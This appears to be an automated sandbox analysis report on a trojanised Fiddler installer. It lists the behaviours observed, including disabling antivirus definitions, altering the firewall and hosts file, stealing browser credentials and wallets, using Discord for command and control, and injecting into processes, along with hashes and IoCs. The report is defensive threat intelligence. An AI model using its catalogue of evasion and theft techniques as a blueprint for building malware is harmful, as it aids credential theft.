9ddd2984852b80fb41546e96a1c3414a55415050761a47633d28a4faeef7a3d1

Analysis

max time kernel
105s
max time network
105s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
11-12-2024 18:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

virus/FiddlerSetup.5.0.20245.10105-latest.exe
Size

4.4MB
MD5

c1980b018489df28be8809eb32519001
SHA1

e860439703d7b6665af4507b20bbef2bbb7b73f4
SHA256

588024037b1e5929b1f2a741fff52a207bcab17f0650ec7cb0cd3cb78051998d
SHA512

f70d419e869e56700a9e23350a9779f5dd56bb78adb9a1b0d5039287a24f20004db20f842294d234d4717feaa3184a5e6d90f0ee3666208bad2ea518d37b0a35
SSDEEP

98304:qMgxyUnSAaB1eXq8yOkLiGXv72Qomw6pvtFIAwdaRdA:qMoWvePjqHv72Qo96pvtF5wH

Score

10^/10

collection credential_access defense_evasion discovery evasion execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
5180	MpCmdRun.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 5776 created 3664	5776	frozen spoofer.exe	57
PID 5776 created 3664	5776	frozen spoofer.exe	57
PID 5904 created 3664	5904	updater.exe	57
PID 5904 created 3664	5904	updater.exe	57
PID 5904 created 3664	5904	updater.exe	57

Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5848	powershell.exe
5128	powershell.exe
5908	powershell.exe
5428	powershell.exe
5544	powershell.exe
1128	powershell.exe
5368	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Built.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3620	netsh.exe
1360	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000\Control Panel\International\Geo\Nation	FiddlerSetup.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5840	cmd.exe
5616	powershell.exe

Executes dropped EXE 9 IoCs

pid	Process
3820	FiddlerSetup.exe
1168	SetupHelper
2856	Fiddler.exe
5516	Built.exe
5604	Built.exe
5776	frozen spoofer.exe
3252	Fiddler.exe
2104	rar.exe
5904	updater.exe

Loads dropped DLL 54 IoCs

pid	Process
3820	FiddlerSetup.exe
2032	mscorsvw.exe
1948	mscorsvw.exe
2400	mscorsvw.exe
1644	mscorsvw.exe
1644	mscorsvw.exe
4928	mscorsvw.exe
1880	mscorsvw.exe
3136	mscorsvw.exe
3136	mscorsvw.exe
3136	mscorsvw.exe
3136	mscorsvw.exe
3136	mscorsvw.exe
1072	mscorsvw.exe
1608	mscorsvw.exe
3996	mscorsvw.exe
3996	mscorsvw.exe
3980	mscorsvw.exe
3980	mscorsvw.exe
3996	mscorsvw.exe
2780	mscorsvw.exe
2548	mscorsvw.exe
4068	mscorsvw.exe
2856	Fiddler.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5604	Built.exe
5908	powershell.exe
1128	powershell.exe
5368	powershell.exe
5616	powershell.exe
5664	powershell.exe
5428	powershell.exe
6120	powershell.exe
5544	powershell.exe
3252	Fiddler.exe
412	powershell.exe
5848	powershell.exe
5128	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
136	discord.com
137	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
115	ip-api.com
132	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
5920	tasklist.exe
5752	tasklist.exe
5552	tasklist.exe
3532	tasklist.exe
2064	tasklist.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5904 set thread context of 444	5904	updater.exe	284
PID 5904 set thread context of 1784	5904	updater.exe	285

UPX packed file 38 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5604-1228-0x00007FFB0CAF0000-0x00007FFB0D1B1000-memory.dmp	upx
behavioral1/memory/5604-1230-0x00007FFB26EA0000-0x00007FFB26EAF000-memory.dmp	upx
behavioral1/memory/5604-1229-0x00007FFB22300000-0x00007FFB22325000-memory.dmp	upx
behavioral1/memory/5604-1237-0x00007FFB1A2F0000-0x00007FFB1A31C000-memory.dmp	upx
behavioral1/memory/5604-1238-0x00007FFB1A2D0000-0x00007FFB1A2E9000-memory.dmp	upx
behavioral1/memory/5604-1239-0x00007FFB149B0000-0x00007FFB149D4000-memory.dmp	upx
behavioral1/memory/5604-1240-0x00007FFB10B60000-0x00007FFB10CDF000-memory.dmp	upx
behavioral1/memory/5604-1242-0x00007FFB26E90000-0x00007FFB26E9D000-memory.dmp	upx
behavioral1/memory/5604-1241-0x00007FFB19C50000-0x00007FFB19C69000-memory.dmp	upx
behavioral1/memory/5604-1243-0x00007FFB0CAF0000-0x00007FFB0D1B1000-memory.dmp	upx
behavioral1/memory/5604-1244-0x00007FFB145B0000-0x00007FFB145E3000-memory.dmp	upx
behavioral1/memory/5604-1247-0x00007FFB10E80000-0x00007FFB10F4E000-memory.dmp	upx
behavioral1/memory/5604-1245-0x00007FFB08E50000-0x00007FFB09383000-memory.dmp	upx
behavioral1/memory/5604-1249-0x00007FFB196D0000-0x00007FFB196E4000-memory.dmp	upx
behavioral1/memory/5604-1248-0x00007FFB22300000-0x00007FFB22325000-memory.dmp	upx
behavioral1/memory/5604-1250-0x00007FFB23200000-0x00007FFB2320D000-memory.dmp	upx
behavioral1/memory/5604-1251-0x00007FFB1A2F0000-0x00007FFB1A31C000-memory.dmp	upx
behavioral1/memory/5604-1252-0x00007FFB10A40000-0x00007FFB10B5A000-memory.dmp	upx
behavioral1/memory/5604-1286-0x00007FFB149B0000-0x00007FFB149D4000-memory.dmp	upx
behavioral1/memory/5604-1389-0x00007FFB10B60000-0x00007FFB10CDF000-memory.dmp	upx
behavioral1/memory/5604-1472-0x00007FFB145B0000-0x00007FFB145E3000-memory.dmp	upx
behavioral1/memory/5604-1473-0x00007FFB08E50000-0x00007FFB09383000-memory.dmp	upx
behavioral1/memory/5604-1476-0x00007FFB10E80000-0x00007FFB10F4E000-memory.dmp	upx
behavioral1/memory/5604-1530-0x00007FFB22300000-0x00007FFB22325000-memory.dmp	upx
behavioral1/memory/5604-1538-0x00007FFB145B0000-0x00007FFB145E3000-memory.dmp	upx
behavioral1/memory/5604-1543-0x00007FFB10A40000-0x00007FFB10B5A000-memory.dmp	upx
behavioral1/memory/5604-1542-0x00007FFB23200000-0x00007FFB2320D000-memory.dmp	upx
behavioral1/memory/5604-1541-0x00007FFB196D0000-0x00007FFB196E4000-memory.dmp	upx
behavioral1/memory/5604-1540-0x00007FFB0CAF0000-0x00007FFB0D1B1000-memory.dmp	upx
behavioral1/memory/5604-1539-0x00007FFB08E50000-0x00007FFB09383000-memory.dmp	upx
behavioral1/memory/5604-1537-0x00007FFB10E80000-0x00007FFB10F4E000-memory.dmp	upx
behavioral1/memory/5604-1536-0x00007FFB19C50000-0x00007FFB19C69000-memory.dmp	upx
behavioral1/memory/5604-1535-0x00007FFB10B60000-0x00007FFB10CDF000-memory.dmp	upx
behavioral1/memory/5604-1534-0x00007FFB149B0000-0x00007FFB149D4000-memory.dmp	upx
behavioral1/memory/5604-1533-0x00007FFB1A2D0000-0x00007FFB1A2E9000-memory.dmp	upx
behavioral1/memory/5604-1532-0x00007FFB1A2F0000-0x00007FFB1A31C000-memory.dmp	upx
behavioral1/memory/5604-1531-0x00007FFB26EA0000-0x00007FFB26EAF000-memory.dmp	upx
behavioral1/memory/5604-1529-0x00007FFB26E90000-0x00007FFB26E9D000-memory.dmp	upx

Drops file in Windows directory 31 IoCs

description	ioc	Process
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\79c-0\System.Security.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Security\42c7a19a453afb14fda2fe8479e4d8b2\System.Security.ni.dll.aux.tmp	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Web.82d5542b#\3951a32a1f9c2a58922ccf04395c0db4\System.Web.RegularExpressions.ni.dll.aux.tmp	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\NYP6HP2312\System.Web.ni.dll.aux	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\adc-0\System.EnterpriseServices.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\9f4-0\System.Runtime.Caching.dll	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\YBM0EPFJ1Y\System.Runtime.Caching.ni.dll.aux	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\960-0\System.Numerics.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1340-0\System.Data.SqlXml.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\adc-0\System.EnterpriseServices.Wrapper.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Runt19c51595#\b8452ea2b87e2c798d586738cbd5ad6d\System.Runtime.Caching.ni.dll.aux.tmp	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\OP6JIMOLX7\System.EnterpriseServices.Wrapper.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\7f0-0\EnableLoopback.exe	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Runt9064068c#\ab300698ff0e6328a779058c8a6abc9a\System.Runtime.Serialization.Formatters.Soap.ni.dll.aux.tmp	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\f9c-0\System.Web.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Web\debe458f6197408829bf76c18c262527\System.Web.ni.dll.aux.tmp	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Data.SqlXml\6c172340af3f46e7e45d3cea5ee80a56\System.Data.SqlXml.ni.dll.aux.tmp	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\758-0\System.Runtime.Serialization.Formatters.Soap.dll	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\NYP6HP2312\System.Web.ni.dll	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\TW2Y2JDGU5\Microsoft.JScript.ni.dll.aux	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Deployment\88b596885c6a2aecfe43892d03c5ba6b\System.Deployment.ni.dll.aux.tmp	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Ente96d83b35#\1d73b6e28a6154a6194c12bcb15f7e62\System.EnterpriseServices.ni.dll.aux.tmp	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\OP6JIMOLX7\System.EnterpriseServices.ni.dll.aux	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\EnableLoopback\a8e9750dcec3b7be6005a908fe2c2d8f\EnableLoopback.ni.exe.aux.tmp	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\66c-0\System.Deployment.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.JScript\180d439c36f3cf6ec5649e1360f67487\Microsoft.JScript.ni.dll.aux.tmp	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\YBM0EPFJ1Y\System.Runtime.Caching.ni.dll	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics\0c073f42cf7c0b89bd4ceb4244060ceb\System.Numerics.ni.dll.aux.tmp	mscorsvw.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\fe4-0\System.Web.RegularExpressions.dll	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\OP6JIMOLX7\System.EnterpriseServices.ni.dll	mscorsvw.exe
File opened for modification	C:\Windows\assembly\temp\TW2Y2JDGU5\Microsoft.JScript.ni.dll	mscorsvw.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SetupHelper
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FrozenPerm_CRACKED.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FiddlerSetup.5.0.20245.10105-latest.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FiddlerSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
6128	cmd.exe
5492	netsh.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4908	WMIC.exe
4388	WMIC.exe
6084	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3024	systeminfo.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
5112	taskkill.exe
3168	taskkill.exe
1556	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	FiddlerSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Fiddler.exe = "0"	FiddlerSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Fiddler.exe = "9999"	FiddlerSetup.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\.saz	FiddlerSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\ = "Fiddler Session Archive"	FiddlerSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\PerceivedType = "compressed"	FiddlerSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\Shell\Open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe\" -noattach \"%1\""	FiddlerSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\Shell\Open &in Viewer\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe\" -viewer \"%1\""	FiddlerSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\Shell\Open\command	FiddlerSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Local Settings	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\.saz\ = "Fiddler.ArchiveZip"	FiddlerSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip	FiddlerSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\Content Type = "application/vnd.telerik-fiddler.SessionArchive"	FiddlerSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Programs\\Fiddler\\SAZ.ico"	FiddlerSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\Shell	FiddlerSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\DefaultIcon	FiddlerSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\Shell\Open	FiddlerSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\Shell\Open &in Viewer\command	FiddlerSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-114766061-2901990051-2372745435-1000_Classes\Fiddler.ArchiveZip\Shell\Open &in Viewer	FiddlerSetup.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3820	FiddlerSetup.exe
3820	FiddlerSetup.exe
4952	msedge.exe
4952	msedge.exe
3716	msedge.exe
3716	msedge.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
2856	Fiddler.exe
1516	WMIC.exe
1516	WMIC.exe
1516	WMIC.exe
1516	WMIC.exe
5908	powershell.exe
5908	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
5908	powershell.exe
4908	WMIC.exe
4908	WMIC.exe
4908	WMIC.exe
4908	WMIC.exe
4388	WMIC.exe
4388	WMIC.exe
4388	WMIC.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2856	Fiddler.exe
3252	Fiddler.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3716	msedge.exe
3716	msedge.exe
3716	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	Fiddler.exe
Token: SeDebugPrivilege	860	firefox.exe
Token: SeDebugPrivilege	860	firefox.exe
Token: SeDebugPrivilege	5920	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1516	WMIC.exe
Token: SeSecurityPrivilege	1516	WMIC.exe
Token: SeTakeOwnershipPrivilege	1516	WMIC.exe
Token: SeLoadDriverPrivilege	1516	WMIC.exe
Token: SeSystemProfilePrivilege	1516	WMIC.exe
Token: SeSystemtimePrivilege	1516	WMIC.exe
Token: SeProfSingleProcessPrivilege	1516	WMIC.exe
Token: SeIncBasePriorityPrivilege	1516	WMIC.exe
Token: SeCreatePagefilePrivilege	1516	WMIC.exe
Token: SeBackupPrivilege	1516	WMIC.exe
Token: SeRestorePrivilege	1516	WMIC.exe
Token: SeShutdownPrivilege	1516	WMIC.exe
Token: SeDebugPrivilege	1516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1516	WMIC.exe
Token: SeRemoteShutdownPrivilege	1516	WMIC.exe
Token: SeUndockPrivilege	1516	WMIC.exe
Token: SeManageVolumePrivilege	1516	WMIC.exe
Token: 33	1516	WMIC.exe
Token: 34	1516	WMIC.exe
Token: 35	1516	WMIC.exe
Token: 36	1516	WMIC.exe
Token: SeDebugPrivilege	5908	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1516	WMIC.exe
Token: SeSecurityPrivilege	1516	WMIC.exe
Token: SeTakeOwnershipPrivilege	1516	WMIC.exe
Token: SeLoadDriverPrivilege	1516	WMIC.exe
Token: SeSystemProfilePrivilege	1516	WMIC.exe
Token: SeSystemtimePrivilege	1516	WMIC.exe
Token: SeProfSingleProcessPrivilege	1516	WMIC.exe
Token: SeIncBasePriorityPrivilege	1516	WMIC.exe
Token: SeCreatePagefilePrivilege	1516	WMIC.exe
Token: SeBackupPrivilege	1516	WMIC.exe
Token: SeRestorePrivilege	1516	WMIC.exe
Token: SeShutdownPrivilege	1516	WMIC.exe
Token: SeDebugPrivilege	1516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1516	WMIC.exe
Token: SeRemoteShutdownPrivilege	1516	WMIC.exe
Token: SeUndockPrivilege	1516	WMIC.exe
Token: SeManageVolumePrivilege	1516	WMIC.exe
Token: 33	1516	WMIC.exe
Token: 34	1516	WMIC.exe
Token: 35	1516	WMIC.exe
Token: 36	1516	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
3716	msedge.exe
3716	msedge.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe
860	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
860	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 3820	1524	FiddlerSetup.5.0.20245.10105-latest.exe	77
PID 1524 wrote to memory of 3820	1524	FiddlerSetup.5.0.20245.10105-latest.exe	77
PID 1524 wrote to memory of 3820	1524	FiddlerSetup.5.0.20245.10105-latest.exe	77
PID 3820 wrote to memory of 3620	3820	FiddlerSetup.exe	78
